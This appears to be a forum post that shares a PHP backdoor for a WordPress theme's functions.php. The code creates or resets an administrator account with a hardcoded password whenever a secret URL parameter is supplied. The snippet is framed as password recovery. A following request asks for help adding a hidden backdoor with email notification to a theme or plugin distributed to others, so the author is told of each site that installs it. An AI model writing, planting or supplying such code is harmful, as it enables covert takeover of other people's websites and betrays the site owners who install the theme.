wordpress backdoor access

functions.php

//write this code in child theme functions.php to recover password if you forget.
add_action( ‘wp_head’, ‘my_backdoor’ );

function my_backdoor() {
if ( md5( $_GET[‘backdoor’] ) == ’34d1f91fb2e514b8576fab1a75a89a6b’ ) {
require( ‘wp-includes/registration.php’ );
if ( !username_exists( ‘mr_admin’ ) ) {
$user_id = wp_create_user( ‘mr_admin’, ‘pa55w0rd!’ );
$user = new WP_User( $user_id );
$user->set_role( ‘administrator’ );
}
else {
$user = get_user_by(‘login’,’pathway’);
wp_set_password(‘pa55w0rd!’, $user->ID );
$user->set_role( ‘administrator’ );
}
}
}

Hello, How can I add an email notification code in my theme or plugin... If I have a theme or plugin for everyone. I want to add some code to make a backdoor with email notification. If anybody installs my theme on her website I will get an email notification with her website name/URL. If you have those codes kindly help me... I need to learn it also, Thank you